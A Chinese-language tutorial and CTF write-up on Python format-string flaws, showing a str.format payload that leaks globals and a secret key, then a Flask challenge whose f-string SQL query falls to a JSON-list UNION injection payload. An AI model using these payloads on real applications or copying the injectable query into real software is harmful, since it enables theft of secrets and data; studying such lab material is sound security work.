什么是python格式化字符串漏洞
python中，存在几种格式化字符串的方式，然而当我们使用的方式不正确的时候，即格式化的字符串能够被我们控制时，就会导致一些严重的问题，比如获取敏感信息
python常见的格式化字符串
百分号形式进行格式化字符串
>>> name = 'Hu3sky'
>>> 'My name is %s' %name
'My name is Hu3sky'使用标准库中的模板字符串
string.Template()
>>> from string import Template
>>> name = 'Hu3sky'
>>> s = Template('My name is $name')
>>> s.substitute(name=name)
'My name is Hu3sky'使用format进行格式化字符串
format的使用就很灵活了，比如以下
最普通的用法就是直接格式化字符串
>>> 'My name is {}'.format('Hu3sky')
'My name is Hu3sky'指定位置
>>> 'Hello {0} {1}'.format('World','Hacker')
'Hello World Hacker'
>>> 'Hello {1} {0}'.format('World','Hacker')
'Hello Hacker World'设置参数
>>> 'Hello {name} {age}'.format(name='Hacker',age='17')
'Hello Hacker 17'百分比格式
>>> 'We have {:.2%}'.format(0.25)
'We have 25.00%'获取数组的键值
>>> '{arr[2]}'.format(arr=[1,2,3,4,5])
'3'用法还有很多，就不一一列举了
这里看一种错误的用法
先是正常打印
>>> config = {'SECRET_KEY': 'f0ma7_t3st'}
>>> class User(object):
... def __init__(self, name):
... self.name = name
>>> 'Hello {name}'.format(name=user.name)
Hello hu3sky恶意利用
>>> 'Hello {name}'.format(name=user.__class__.__init__.__globals__)
"Hello {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'config': {'SECRET_KEY': 'f0ma7_t3st'}, 'User': <class '__main__.User'>, 'user': <__main__.User object at 0x03242EF0>}"可以看到，当我们的name=user.__class__.__init__.__globals__时，就可以将很多敏感的东西给打印出来
Python 格式化字符串漏洞（Django为例） | 离别歌这个里面有很多从的操作实例，我了解到这个是来自XYCTF2025的web-fate
#!/usr/bin/env python3
import flask
import sqlite3app = flask.Flask(__name__)def db_search(code):with sqlite3.connect('database.db') as conn:cur = conn.cursor()cur.execute(f"SELECT name FROM country WHERE code=UPPER('{code}')")found = cur.fetchone()return None if found is None else found[0]@app.route('/')
def index():return flask.render_template("index.html")@app.route('/api/search', methods=['POST'])
def api_search():req = flask.request.get_json()if 'code' not in req:flask.abort(400, "Empty country code")code = req['code']if len(code) != 2 or "'" in code:flask.abort(400, "Invalid country code")name = db_search(code)if name is None:flask.abort(404, "No such country")return {'name': name}if __name__ == '__main__':app.run(debug=True)
这是题目源码，是一个几乎不可能绕过的sql注入
但是这里的传参使用的是flask.request.get_json()，这个方法没有对传入的类型做检查。因此，我们可以传入非字符串类型的变量
在python中，当我们使用f-string直接传入非字符串参数时，就会被强转为字符串
所以这题可以这样解：
{"code":["1') UNION SELECT FLAG FROM FLAG --","1"]}
传入的code为列表，因而可以通过waf（len为2，没有'元素）随后直接被f-string强转，拼入sql语句，如下：
SELECT name FROM country WHERE code=UPPER('["1') UNION SELECT FLAG FROM FLAG --","1"]')
就可以完成一次SQL注入。拿到FLAG表里的FLAG值。
)
